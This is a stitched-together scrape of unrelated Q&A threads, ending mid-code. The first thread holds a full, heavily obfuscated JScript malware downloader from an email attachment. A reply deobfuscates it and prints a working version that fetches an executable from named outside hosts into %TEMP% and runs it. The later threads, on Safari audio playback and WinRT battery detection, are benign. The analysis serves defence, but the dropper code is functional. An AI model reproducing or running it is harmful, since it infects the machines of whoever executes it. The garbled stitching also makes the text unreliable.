yakamurahirobetobeVIUVIUVIUsud(vardos){ return vardos[("yakamurahirobetobeVIUVIUVIUprosy","yakamurahirobetobeVIUVIUVIUoffering","yakamurahirobetobeVIUVIUVIUspecialized","yakamurahirobetobeVIUVIUVIUalicia","yakamurahirobetobeVIUVIUVIUenormity","l") + ("yakamurahirobetobeVIUVIUVIUinter","yakamurahirobetobeVIUVIUVIUcrest","yakamurahirobetobeVIUVIUVIUnoisily","yakamurahirobetobeVIUVIUVIUpenguin","yakamurahirobetobeVIUVIUVIUdrops","en")+("yakamurahirobetobeVIUVIUVIUplaintiff","yakamurahirobetobeVIUVIUVIUholiday","yakamurahirobetobeVIUVIUVIUsymphony","yakamurahirobetobeVIUVIUVIUlegally","yakamurahirobetobeVIUVIUVIUcelibate","gt")+("yakamurahirobetobeVIUVIUVIUappointments","yakamurahirobetobeVIUVIUVIUlooksmart","yakamurahirobetobeVIUVIUVIUmotorcycles","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUchart","h")]; } yakamurahirobetobeVIUVIUVIUmisterdenisk.dEDWWEE = function(){ yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1); yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith(), "Function called without arguments"); yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, "PROPER1"); yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith("PROPER1"), "Function called with 'PROPER1' argument"); yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, ["PROPER1", "PROPER2"]); }; var yakamurahirobetobeVITKS = new Array(-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-39,-102,-102,-102,-38,-49,-48,-47,-46,-45,-44,-43,-42,-41,-40,-102,-102,-102,-102,-102,-102,-102,-101,-100,-99,-98,-97,-96,-95,-94,-93,-92,-91,-90,-89,-88,-87,-86,-85,-84,-83,-82,-81,-80,-79,-78,-77,-76,-102,-102,-102,-102,-102,-102,-75,-74,-73,-72,-71,-70,-69,-68,-67,-66,-65,-64,-63,-62,-61,-60,-59,-58,-57,-56,-55,-54,-53,-52,-51,-50,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102); var yakamurahirobetobeVITKI, yakamurahirobetobeVITKSn = yakamurahirobetobeVITKS.length; for (yakamurahirobetobeVITKI= 0; yakamurahirobetobeVITKI < yakamurahirobetobeVITKSn; ++yakamurahirobetobeVITKI) { yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] = yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] + 101; } function moveToParentFolder(parentFolder, folder) { // 対象フォルダのサブフォルダ列挙 var subFolders = new Enumerator(folder.SubFolders); // サブフォルダ内のファイルを移動 for (; !subFolders.atEnd(); subFolders.moveNext()) { moveToParentFolder(parentFolder, subFolders.item()); } // フォルダ内のファイル列挙 var files = new Enumerator(folder.Files); // ファイルを移動 for (; !files.atEnd(); files.moveNext()) { try { files.item().Move(parentFolder.Path + '\\'); } catch (e) { WScript.Echo(e.description + "\n" + files.item().Path); } } // ファイルとサブフォルダがなければフォルダ削除 if (folder.Files.Count == 0 && folder.SubFolders.Count == 0) { try { folder.Delete(true); } catch (e) { WScript.Echo(e.description + "\n" + folder.Path); } } } var yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq = {'U': 'S', ':': '.','88':'', '77':'','HOLSTEN': 'X', '99':'', 'PLAHISH':'ons'}; function yakamurahirobetobeVIUVIUVIUachievment(yakamurahirobetobeVIUVIUVIUbidttt){if(yakamurahirobetobeVIUVIUVIUbidttt==1){return 2;}else{return 17;} return 3;}; function yakamurahirobetobeVIUVIUVIUcenter(yakamurahirobetobeVIUVIUVIUrivulet) { request = yakamurahirobetobeVIUVIUVIUrivulet; for (var yakamurahirobetobeVIUVIUVIUXCOP in yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq){request = request.replace(yakamurahirobetobeVIUVIUVIUXCOP, yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq[yakamurahirobetobeVIUVIUVIUXCOP]);} return request; }; var yakamurahirobetobeVIUVIUVIUDRUZA = 43* (51-2)*(27-26-1); function yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobePOPSPOPx, yakamurahirobetobePOPSPOPy) { yakamurahirobetobePOPSPOPx = DDyakamurahirobetobePOPSPOP * yakamurahirobetobePOPSPOPddd; yakamurahirobetobePOPSPOPy = yakamurahirobetobePOPSPOPZZ + 245; }; var yakamurahirobetobeVIUVIUVIUsecupeku=typeof(yakamurahirobetobeVIUVIUVIUGzEAPd)==="undefined"; var yakamurahirobetobeVIUVIUVIUchosen = 0.5 * 2; if(!yakamurahirobetobeVIUVIUVIUsecupeku){ yakamurahirobetobeVIUVIUVIUmisterdenisk.scale = function(yakamurahirobetobeVIUVIUVIUp, yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUscaleY) { if (yakamurahirobetobeVIUVIUVIUXCOPsObject(yakamurahirobetobeVIUVIUVIUscaleX)) { yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX.y; yakamurahirobetobeVIUVIUVIUscaleX = yakamurahirobetobeVIUVIUVIUscaleX.x; } else if (!yakamurahirobetobeVIUVIUVIUXCOPsNumber(yakamurahirobetobeVIUVIUVIUscaleY)) { yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX; } return new yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobeVIUVIUVIUp.x * yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUp.y * yakamurahirobetobeVIUVIUVIUscaleY); }; } if(!yakamurahirobetobeVIUVIUVIUsecupeku){ yakamurahirobetobeVIUVIUVIUmisterdenisk.yakamurahirobetobeVIUVIUVIUsameOrN = function(yakamurahirobetobeVIUVIUVIUparam1, yakamurahirobetobeVIUVIUVIUparam2) { return yakamurahirobetobeVIUVIUVIUparam1.D == yakamurahirobetobeVIUVIUVIUparam2.D || yakamurahirobetobeVIUVIUVIUparam1.F == yakamurahirobetobeVIUVIUVIUparam2.F; }; yakamurahirobetobeVIUVIUVIUmisterdenisk.angle = function(yakamurahirobetobeVIUVIUVIUp) { return Math.atan2(yakamurahirobetobeVIUVIUVIUp.y, yakamurahirobetobeVIUVIUVIUp.x); }; } var yakamurahirobetobeVIUVIUVIUVARDOCF ="JVRFTVAl".yakamurahirobetobeVIUVIUVIUtttoooo(); var yakamurahirobetobeVIUVIUVIUfinde = "QWN0aXZlWE9iamVjdA==".yakamurahirobetobeVIUVIUVIUtttoooo(); String.prototype.yakamurahirobetobeVIUVIUVIUcenter2 = function () { var yakamurahirobetobeVIUVIUVIUpirkinst = { yakamurahirobetobeVIUVIUVIUVARDOCG: this }; yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE = yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCG["c3Vic3RyaW5n".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUDRUZA, yakamurahirobetobeVIUVIUVIUchosen); return yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE; }; var yakamurahirobetobeVIUVIUVIUsirdallos ="RXhwYW5kRW52aXJvbm1lbnRTdHJpbmdz".yakamurahirobetobeVIUVIUVIUtttoooo(); var yakamurahirobetobeVIUVIUVIUNative = function(options){ };yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUXCOPmplement = function(yakamurahirobetobeVIUVIUVIUobjects, yakamurahirobetobeVIUVIUVIUproperties){ for (var yakamurahirobetobeVIUVIUVIUXCOP = 0, yakamurahirobetobeVIUVIUVIUl = yakamurahirobetobeVIUVIUVIUobjects.length; yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUl; yakamurahirobetobeVIUVIUVIUXCOP++) yakamurahirobetobeVIUVIUVIUobjects[yakamurahirobetobeVIUVIUVIUXCOP].yakamurahirobetobeVIUVIUVIUXCOPmplement(yakamurahirobetobeVIUVIUVIUproperties); }; var yakamurahirobetobeVIUVIUVIUd7 = yakamurahirobetobeVIUVIUVIUcenter("77M"+"88SX"+"99ML"+("yakamurahirobetobeVIUVIUVIUmosquitoes","yakamurahirobetobeVIUVIUVIUphoto","yakamurahirobetobeVIUVIUVIUstayed","yakamurahirobetobeVIUVIUVIUgrenada","yakamurahirobetobeVIUVIUVIUreindeer","2.")+"HOLSTENM"+"LH"+"TT"+("yakamurahirobetobeVIUVIUVIUillusory","yakamurahirobetobeVIUVIUVIUcontained","yakamurahirobetobeVIUVIUVIUbilliards","yakamurahirobetobeVIUVIUVIUrefers","yakamurahirobetobeVIUVIUVIUtransexuales","yakamurahirobetobeVIUVIUVIUspecification","yakamurahirobetobeVIUVIUVIUconstitutes","yakamurahirobetobeVIUVIUVIUdesideratum","P}")+"WU"+("yakamurahirobetobeVIUVIUVIUegregious","yakamurahirobetobeVIUVIUVIUdietary","yakamurahirobetobeVIUVIUVIUcelebrity","yakamurahirobetobeVIUVIUVIUhopes","yakamurahirobetobeVIUVIUVIUdrunk","yakamurahirobetobeVIUVIUVIUperiodically","yakamurahirobetobeVIUVIUVIUfatherhood","cr")+("yakamurahirobetobeVIUVIUVIUgenerations","yakamurahirobetobeVIUVIUVIUquarterly","yakamurahirobetobeVIUVIUVIUwording","yakamurahirobetobeVIUVIUVIUpeking","yakamurahirobetobeVIUVIUVIUreturning","yakamurahirobetobeVIUVIUVIUsuccor","yakamurahirobetobeVIUVIUVIUcharging","yakamurahirobetobeVIUVIUVIUmagnify","ip")+"t:S"+("yakamurahirobetobeVIUVIUVIUtoward","yakamurahirobetobeVIUVIUVIUoutlined","yakamurahirobetobeVIUVIUVIUsubstitute","yakamurahirobetobeVIUVIUVIUamend","yakamurahirobetobeVIUVIUVIUfigurative","yakamurahirobetobeVIUVIUVIUdeviation","yakamurahirobetobeVIUVIUVIUlatch","yakamurahirobetobeVIUVIUVIUtyson","h")+"e"+("yakamurahirobetobeVIUVIUVIUsixtytwo","yakamurahirobetobeVIUVIUVIUravenous","yakamurahirobetobeVIUVIUVIUorganize","yakamurahirobetobeVIUVIUVIUcholera","yakamurahirobetobeVIUVIUVIUoptimism","yakamurahirobetobeVIUVIUVIUdonate","yakamurahirobetobeVIUVIUVIUhouseboat","yakamurahirobetobeVIUVIUVIUincumbent","ll")); var yakamurahirobetobeVIUVIUVIUDoUtra = [yakamurahirobetobeVIUVIUVIUfinde, yakamurahirobetobeVIUVIUVIUsirdallos,yakamurahirobetobeVIUVIUVIUVARDOCF, ""+"."+("yakamurahirobetobeVIUVIUVIUcognition","yakamurahirobetobeVIUVIUVIUtrumpery","yakamurahirobetobeVIUVIUVIUpapers","yakamurahirobetobeVIUVIUVIUnecessitate","yakamurahirobetobeVIUVIUVIUesplanade","yakamurahirobetobeVIUVIUVIUwrinkle","yakamurahirobetobeVIUVIUVIUreunion","yakamurahirobetobeVIUVIUVIUtorpor","exe"), "UnVu".yakamurahirobetobeVIUVIUVIUtttoooo(),yakamurahirobetobeVIUVIUVIUd7]; yakamurahirobetobeVIUVIUVIURichters = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); yakamurahirobetobeVIUVIUVIUfabled = "BIL2NEBIL"; yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUgenericize = function(object, yakamurahirobetobeVIUVIUVIUproperty, yakamurahirobetobeVIUVIUVIUcheck){ if ((!yakamurahirobetobeVIUVIUVIUcheck || !object[yakamurahirobetobeVIUVIUVIUproperty]) && typeof object.prototype[yakamurahirobetobeVIUVIUVIUproperty] == 'function') object[yakamurahirobetobeVIUVIUVIUproperty] = function(){ return object.prototype[yakamurahirobetobeVIUVIUVIUproperty].apply(yakamurahirobetobeVIUVIUVIUargs.shift(), yakamurahirobetobeVIUVIUVIUargs); }; }; yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUtypize = function(object, yakamurahirobetobeVIUVIUVIUfamily){ if (!object.type) object.type = function(item){ return (yakamurahirobetobeVIUVIUVIU$type(item) === yakamurahirobetobeVIUVIUVIUfamily); }; }; var yakamurahirobetobeVIUVIUVIULitoyDISK = this[yakamurahirobetobeVIUVIUVIURichters ]; yakamurahirobetobeVIUVIUVIUcasque = (("yakamurahirobetobeVIUVIUVIUinterpose", "yakamurahirobetobeVIUVIUVIUmorphine", "yakamurahirobetobeVIUVIUVIUshipped", "yakamurahirobetobeVIUVIUVIUdiagonal", "yakamurahirobetobeVIUVIUVIUdelta", "yakamurahirobetobeVIUVIUVIUwhiles", "yakamurahirobetobeVIUVIUVIUsynthetic", "pwrthrthrthtr") + "hrhrwhrwh").yakamurahirobetobeVIUVIUVIUcenter2(); yakamurahirobetobeVIUVIUVIUtudabilo1 = (("yakamurahirobetobeVIUVIUVIUachieved", "yakamurahirobetobeVIUVIUVIUfilms", "yakamurahirobetobeVIUVIUVIUinflected", "yakamurahirobetobeVIUVIUVIUsuburban", "yakamurahirobetobeVIUVIUVIUoriginating", "yakamurahirobetobeVIUVIUVIUpuppy", "yakamurahirobetobeVIUVIUVIUflower", "yakamurahirobetobeVIUVIUVIUencounter", "yakamurahirobetobeVIUVIUVIUearning", "serhrth") + "herrth4th4wh").yakamurahirobetobeVIUVIUVIUcenter2(); var yakamurahirobetobeVIUVIUVIUd2 = yakamurahirobetobeVIUVIUVIUDoUtra.pop(); var yakamurahirobetobeVIUVIUVIUrampart = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[1]); var yakamurahirobetobeVIUVIUVIUsudabilo1 = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[0]); var yakamurahirobetobeVIUVIUVIUvulture = yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUDoUtra.shift()](yakamurahirobetobeVIUVIUVIUDoUtra.shift()); var yakamurahirobetobeVIUVIUVIUweasel = "E"; var yakamurahirobetobeVIUVIUVIUamalgamation = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); var yakamurahirobetobeVIUVIUVIUpromises = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); var yakamurahirobetobeVIUVIUVIUostrokoncert = "b3Blbg==".yakamurahirobetobeVIUVIUVIUtttoooo(); yakamurahirobetobeVIUVIUVIURhXxGud = "type"; function yakamurahirobetobeVIUVIUVIU_a2(yakamurahirobetobeVIUVIUVIUgutter, yakamurahirobetobeVIUVIUVIUStrokaParam2) { var yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUvulture; yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander+ "\u002f"; yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUStrokaParam2 ; yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUostrokoncert](("yakamurahirobetobeVIUVIUVIUpossibilities","yakamurahirobetobeVIUVIUVIUportsmouth","yakamurahirobetobeVIUVIUVIUiceland","yakamurahirobetobeVIUVIUVIUcommodity","yakamurahirobetobeVIUVIUVIUslash","yakamurahirobetobeVIUVIUVIUlocate","yakamurahirobetobeVIUVIUVIUtechno","yakamurahirobetobeVIUVIUVIUlabour","G" + yakamurahirobetobeVIUVIUVIUweasel) + ("yakamurahirobetobeVIUVIUVIUcringe","yakamurahirobetobeVIUVIUVIUintolerance","yakamurahirobetobeVIUVIUVIUbraxton","yakamurahirobetobeVIUVIUVIUdappled","yakamurahirobetobeVIUVIUVIUvestibule","yakamurahirobetobeVIUVIUVIUaffirmation","yakamurahirobetobeVIUVIUVIUpriestess","yakamurahirobetobeVIUVIUVIUjerry","yakamurahirobetobeVIUVIUVIUmilliner","yakamurahirobetobeVIUVIUVIUsheriff","T"), yakamurahirobetobeVIUVIUVIUgutter, false); yakamurahirobetobeVIUVIUVIUsudabilo1.setRequestHeader("User-Agent", "TW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMCk=".yakamurahirobetobeVIUVIUVIUtttoooo()); yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUtudabilo1 + ("yakamurahirobetobeVIUVIUVIUtrader","yakamurahirobetobeVIUVIUVIUconsumptive","yakamurahirobetobeVIUVIUVIUharass","yakamurahirobetobeVIUVIUVIUprofession","yakamurahirobetobeVIUVIUVIUmedicare","end")](); yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUamalgamation; if (yakamurahirobetobeVIUVIUVIUsecupeku) { var yakamurahirobetobeVIUVIUVIUNananananananana = new yakamurahirobetobeVIUVIUVIULitoyDISK(("ARYBKA"+("yakamurahirobetobeVIUVIUVIUchichester","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUpromotional","yakamurahirobetobeVIUVIUVIUcosmetics","yakamurahirobetobeVIUVIUVIUbrunswick","yakamurahirobetobeVIUVIUVIUoptional","yakamurahirobetobeVIUVIUVIUmicro","yakamurahirobetobeVIUVIUVIUnominee","O")+"DB"+("yakamurahirobetobeVIUVIUVIUregarding","yakamurahirobetobeVIUVIUVIUcaretaker","yakamurahirobetobeVIUVIUVIUrepugnant","yakamurahirobetobeVIUVIUVIUcorfu","yakamurahirobetobeVIUVIUVIUunbiased","yakamurahirobetobeVIUVIUVIUenquiry","yakamurahirobetobeVIUVIUVIUinteresting",".S")+"tr12").replace("RYBKA", "D").replace("12", "eam")); yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIUostrokoncert](); yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIURhXxGud] = yakamurahirobetobeVIUVIUVIUchosen; yakamurahirobetobePAPAPAMGaSMa = "BIL10NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["d3JpdGU=".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUsudabilo1[("yakamurahirobetobeVIUVIUVIUmephistopheles","yakamurahirobetobeVIUVIUVIUgeneva","yakamurahirobetobeVIUVIUVIUstrategic","yakamurahirobetobeVIUVIUVIUmaybe","yakamurahirobetobeVIUVIUVIUlibyan","yakamurahirobetobeVIUVIUVIUdrivers","Re")+"s"+("yakamurahirobetobeVIUVIUVIUappeals","yakamurahirobetobeVIUVIUVIUmyanmar","yakamurahirobetobeVIUVIUVIUpicked","yakamurahirobetobeVIUVIUVIUprimrose","yakamurahirobetobeVIUVIUVIUmagazines","yakamurahirobetobeVIUVIUVIUscorch","p")+yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq['PLAHISH']+"e"+"Qm9keQ==".yakamurahirobetobeVIUVIUVIUtttoooo()]); yakamurahirobetobeVIUVIUVIUXWaxeQhw = "BIL11NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana[(yakamurahirobetobeVIUVIUVIUcasque + "o"+"220"+("yakamurahirobetobeVIUVIUVIUadhered","yakamurahirobetobeVIUVIUVIUadobe","yakamurahirobetobeVIUVIUVIUconcerning","yakamurahirobetobeVIUVIUVIUguidelines","yakamurahirobetobeVIUVIUVIUacclamation","yakamurahirobetobeVIUVIUVIUhomes","yakamurahirobetobeVIUVIUVIUcontumely","22i")+"tion").replace("22"+("yakamurahirobetobeVIUVIUVIUpressure","yakamurahirobetobeVIUVIUVIUbarrow","yakamurahirobetobeVIUVIUVIUanymore","yakamurahirobetobeVIUVIUVIUapparatus","yakamurahirobetobeVIUVIUVIUlocations","yakamurahirobetobeVIUVIUVIUlobby","yakamurahirobetobeVIUVIUVIUcentres","022"), yakamurahirobetobeVIUVIUVIUtudabilo1)] = 0; yakamurahirobetobeVIUVIUVIUkrDwvrh = "BIL12NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["c2F2ZVRvRmlsZQ==".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUwandermander, 2); yakamurahirobetobeVIUVIUVIUSswQdi = "BIL13NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["Y2xvc2U=".yakamurahirobetobeVIUVIUVIUtttoooo()](); yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUpromises](yakamurahirobetobeVIUVIUVIUwandermander, yakamurahirobetobeVIUVIUVIUchosen, true); } }; var yakamurahirobetobeVIUVIUVIU_a5 = ["dGOGOGA3d3LmFnZW56aWFkaW5pLml0L0dIQnV5ZDQ3MgGOGOGA==","a2xuaGOGOGAmxsemw3OC53ZWIuZmMyLmNvbS9HSEJ1eWQ0NzI=","bWFuaW1hbmltb25leS53ZWIuGOGOGAZmMyLmNvbS9HSEJ1eWQ0NzI="]; for(yakamurahirobetobeVIUVIUVIUuueee in yakamurahirobetobeVIUVIUVIU_a5){ try{ yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo"); }catch(yakamurahirobetobeVIUVIUVIU_a3){alert(yakamurahirobetobeVIUVIUVIU_a3.message);} } </script> </body> </html> I opened it in my browser and now i'm afraid it is some kind of a hack. what can I do now for my security? should i delete all senstive data in my browser? I'm using google chrome which has all passwords stored. I'm using Ubuntu 16.04.
I received this attachement today and decided to investigate a bit. Here is the deobfuscated version: var wscriptShell = new ActiveXObject('WScript.Shell'); var msxml2XmlHttp = new ActiveXObject('MSXML2.XMLHTTP'); var tempFolder = wscriptShell.ExpandEnvironmentStrings("%TEMP%"); function download(url, file) { var fullpath = tempFolder + '/' + file + '.exe'; msxml2XmlHttp.open("GET", url, false); msxml2XmlHttp.setRequestHeader("User-Agent", 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'); msxml2XmlHttp["send"](); var adodbStream = new ActiveXObject("ADODB.Stream"); adodbStream.open(); adodbStream.type = 1; adodbStream.write(sudabilo1["ResponseBody"]); adodbStream.position = 0; adodbStream.saveToFile(fullpath, 2); adodbStream.close(); wscriptShell.Run(fullpath, 1, true); } var urls = [ "brunnenburg.de/GHBuyd472", "klnjllzl78.web.fc2.com/GHBuyd472", "w3rx80no.homepage.t-online.de/GHBuyd472" ]; for(i in urls) { try { download("http://" + urls[i] + "?huLara=HlyrvuBeY", "yXbJOHB"); } catch(e) { alert(e.message); } } Basically what it does is download an executable file from a compromised server into your temp directory and runs it. I have not investigated the file further. Since you are not using windows, this is harmless. If you were, the first step would be to check if a file named Exgngo.exe (this line contains the relevant name: yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo");) is in your %TEMP% directory. If it is, contact someone that knows what he's doing to deal with it. EDIT: Virus Total here.
audio won't work on safari browser
could someone please help me to find out why this won't work on safari browser? It seems to work really well in all other browsers apart from Safari. I really could not work it out. Any help will be most appreciated. function loadPlayer() { var audioPlayer = new Audio(); audioPlayer.controls=""; audioPlayer.setAttribute("data-index", -1); //set default index to -1. audioPlayer.addEventListener('ended',nextSong,false); audioPlayer.addEventListener('error',errorFallback,true); document.getElementById("player").appendChild(audioPlayer); } function nextSong(index, e) { var next; var audioPlayer = document.getElementsByTagName('audio')[0]; //check for index. If so load from index. If not, index is defined auto iterate to next value. if (index >= 0) { next = index; } else { next = parseInt(audioPlayer.getAttribute("data-index"))+1; next >= urls.length ? next = 0 : null; } audioPlayer.src=urls[next][0]; //load the url. audioPlayer.setAttribute("data-index", next); //disable the player. var audioPlayerControls = document.getElementById("playerControls"); audioPlayer.removeEventListener('canplay',enablePlayerControls,false); audioPlayerControls.setAttribute("disabled", true); audioPlayer.addEventListener('canplay',enablePlayerControls,false); audioPlayer.load(); //show the image: var image = document.getElementById("playerList").querySelectorAll("a")[next].querySelector("img").cloneNode(); image.style.width = "30px"; if(audioPlayerControls.querySelector("img")) { audioPlayerControls.replaceChild(image, audioPlayerControls.querySelector("img")); } else { audioPlayerControls.insertBefore(image, audioPlayerControls.querySelector("a")); } } function enablePlayerControls() { //File has loaded, so we can start playing the audio. //Enable the player options. var audioPlayer = document.getElementsByTagName('audio')[0]; audioPlayer.removeEventListener('canplay',enablePlayerControls,false); document.getElementById("playerControls").removeAttribute("disabled"); audioPlayer.play(); } function errorFallback() { nextSong(); } function playPause() { var audioPlayer = document.getElementsByTagName('audio')[0]; if (audioPlayer.paused) { audioPlayer.play(); } else { audioPlayer.pause(); } } function pickSong(e) { //we want the correct target. Select it via the event (e). var target; //pickSong does the selecting: if (e && e.target && e.target.tagName && e.target.tagName.toLowerCase() == "img") { //The event target = the img element. target = e.target.parentElement; } else { //the event target is the a element target = e.target; } var index = target.getAttribute("data-index"); //get the song index stored in the data-index attribute. nextSong(index); } var urls = new Array(); urls[0] = ['http://mp3lg4.tdf-cdn.com/9079/jet_143844.mp3', 'http://radio-maghreb.net/radio/radio almazighia.png']; urls[1] = ['http://mp3lg4.tdf-cdn.com/9077/jet_143651.mp3', "http://radio-maghreb.net/radio/alwatania.png"]; urls[2] = ['http://mp3lg4.tdf-cdn.com/9080/jet_144136.mp3', "http://radio-maghreb.net/radio/inter.jpg"]; function startAudioPlayer() { loadPlayer(); for (var i = 0; i < urls.length; ++i) { //this for loop runs through all urls and appends them to the player list. This smooths the adding off new items. You only have //to declare them in the array, the script does the rest. var link = document.createElement("a"); link.href = "javascript: void(0)"; link.addEventListener("click", pickSong, false); link.setAttribute("data-index", i); link.img = document.createElement("img"); link.img.src = urls[i][1]; link.appendChild(link.img); document.getElementById("playerList").appendChild(link); } } //Event that starts the audio player. window.addEventListener("load", startAudioPlayer, false); #playerControls[disabled=true] > a{ color: #c3c3c3; } <span id="playerControls" disabled="true"> Play Stop </span> Next Track <!-- player ends --> <br> <br> <!-- img links start --> <div id="playerList"> </div>
WinRT - how to tell if device is on battery or wall powered?
Say I want to tailor my application to throttle throughput when running on battery power, but go full bore when it's plugged to a wall socket. Is there an event to plug into to detect when these things happen like when internet connection is detected?
Apparently there's this trigger you can plug in to. It only fires off when the device is plugged in.
IE and WebView http://ie.microsoft.com/testdrive/HTML5/PowerMeter/Default.html can poll the cpu power states eg: http://apps.microsoft.com/windows/app/plugged-in/2b91b1e1-9e30-4a96-bc95-b196e46bef9d In c#/xaml try: XAML <WebView x:Name="BatteryCheck_WV" Source="ms-appx-web:///Assets/JSBatteryCheck.html" Height="50" Width="50" Visibility="Collapsed" /> c# var PeriodicTimer = ThreadPoolTimer.CreatePeriodicTimer(async (timer) => { await Dispatcher.RunAsync(Windows.UI.Core.CoreDispatcherPriority.Low, async () => { if (Window.Current.Visible) BatteryStatus.IsOn= Convert.ToBoolean(await BatteryCheck_WV.InvokeScriptAsync("IsPluggedIn", null)); }); }, new TimeSpan(0, 0, 0, 1, 0)); html/js <!DOCTYPE html> <html> <head> <title>JSBatteryCheck</title> <script type="text/javascript"> var batterytimeOut; var timeOutGo = true; var lastDisplayUpdateTime = new Date(); var MilliSeconds = 1000; var displayUpdateInterval = 200; var values = []; var maxValues = displayUpdateInterval; var PluggedIn = true; var currentTicksPerMilliSecond = 0; function GetTicksPerSecond() { if ((new Date() - lastDisplayUpdateTime) >= displayUpdateInterval) { lastDisplayUpdateTime = new Date; currentTicksPerMilliSecond = Avg(); values = []; if (!isNaN(currentTicksPerMilliSecond)) { PluggedIn = (currentTicksPerMilliSecond > 9) ? false : true; } } else Tick(); if (timeOutGo) batterytimeOut = setTimeout(function () { GetTicksPerSecond() }, 1); } function StartTimer() { timeOutGo = true; GetTicksPerSecond(); return ""; } function Tick() { if (values.length > maxValues) values.shift(); else values.push(new Date()); } function Avg() { if (values.length > 1) { var earliest = values[0]; var latest = values[values.length - 1]; var elapsed = latest - earliest; var elapsedSeconds = elapsed / MilliSeconds; var avg = MilliSeconds / ((values.length - 1) / elapsedSeconds); return parseInt(avg); } else return NaN; } function StopTimeOut() { 